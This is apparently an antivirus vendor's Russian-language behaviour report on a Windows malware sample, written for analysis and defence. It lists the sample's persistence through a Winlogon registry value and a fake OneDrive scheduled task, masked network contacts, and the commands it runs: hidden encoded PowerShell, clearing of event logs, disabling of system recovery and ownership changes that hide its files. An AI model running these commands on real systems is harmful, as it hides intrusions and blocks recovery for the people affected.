Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Userinit' = '<SYSTEM32>\userinit.exe,"%ALLUSERSPROFILE%\Microsoft\Services\mslog.exe"'
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\onedrivestandaloneupdatetask
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Системный антивирус (Защитник Windows)
Запускает большое число процессов
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\securityhealthsystray.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\content\3984-3552-<Имя файла>.exe-21-02-26-377.dump
- %TEMP%\content\3984-3552-<Имя файла>.exe-21-02-26-422.dump
- %TEMP%\content\3984-3584-<Имя файла>.exe-21-02-28-877.dump
- %ALLUSERSPROFILE%\microsoft\services\mslog.exe
- C:\msconfig.xml
Сетевая активность
Подключается к
- 'pa###bin.com':443
- '14#.#85.221.30':18849
- '1.#.1.1':80
TCP
Другие
- 'pa###bin.com':443
UDP
- DNS ASK pa###bin.com
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
- ClassName: 'CabinetWClass' WindowName: ''
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoLogo -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand "IwAgAE0AQQBJAFMATwBOACAARwBFAE4AIABDAE8ARABFACAACgAkAG4AdQBsAGwAIAA9ACAAJABFAHgAZQBjAHUAdABpAG8AbgBDAG8AbgB0AGUAe... (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoLogo -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand "JABwAGEAdABoAHMAIAA9ACAAQAAoAAoAIAAgACAAIAAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABUAGEAcwBrAHMAI... (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoLogo -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand "JABwAGEAdABoAHMAIAA9ACAAQAAoAAoAIAAgACAAIAAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABIAGUAbABwACIALAAKACAAIAAgACAAIgBDADoAX... (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c wevtutil cl "Application
- '<SYSTEM32>\wevtutil.exe' cl "Application
- '<SYSTEM32>\cmd.exe' /c wevtutil cl "Windows PowerShell
- '<SYSTEM32>\wevtutil.exe' cl "Windows PowerShell
- '<SYSTEM32>\icacls.exe' %WINDIR%\Help /reset /C
- '<SYSTEM32>\icacls.exe' <SYSTEM32>\Tasks /reset /C
- '<SYSTEM32>\cmd.exe' /c wevtutil cl "System
- '<SYSTEM32>\icacls.exe' %WINDIR%\Help /setowner "NT SERVICE\TrustedInstaller" /C
- '<SYSTEM32>\icacls.exe' <SYSTEM32>\Tasks /setowner "NT SERVICE\TrustedInstaller" /C
- '<SYSTEM32>\wevtutil.exe' cl "System
- '<SYSTEM32>\cmd.exe' /c wevtutil cl "Security
- '<SYSTEM32>\icacls.exe' %WINDIR%\Help\Corporate /reset /C
- '<SYSTEM32>\wevtutil.exe' cl "Security
- '<SYSTEM32>\icacls.exe' %WINDIR%\Help\Corporate /setowner "NT SERVICE\TrustedInstaller" /C
- '<SYSTEM32>\schtasks.exe' /Create /TN "OneDriveStandaloneUpdateTask" /XML "C:\msconfig.xml" /F
- '<SYSTEM32>\reagentc.exe' /disable (со скрытым окном)
- '<SYSTEM32>\bcdedit.exe' /timeout 0 (со скрытым окном)
- '<SYSTEM32>\icacls.exe' <SYSTEM32>\Tasks\OneDriveStandaloneUpdateTask /reset /C
- '<SYSTEM32>\icacls.exe' <SYSTEM32>\Tasks\OneDriveStandaloneUpdateTask /setowner "NT SERVICE\TrustedInstaller" /C
- '<SYSTEM32>\icacls.exe' %WINDIR%\Help\Corporate\policyagent.exe /reset /C
- '<SYSTEM32>\icacls.exe' %WINDIR%\Help\Corporate\policyagent.exe /setowner "NT SERVICE\TrustedInstaller" /C
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoLogo -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand "IwAgAEwASQBMAFUATQAgAEQASQBTACAASwBVAFIAIABNAFUATgAgAFQASQAgAE0ASQBOAEEATAAgAAoAJAB1AGEAYwBGAGwAYQBnACAAPQAgADEAC... (со скрытым окном)
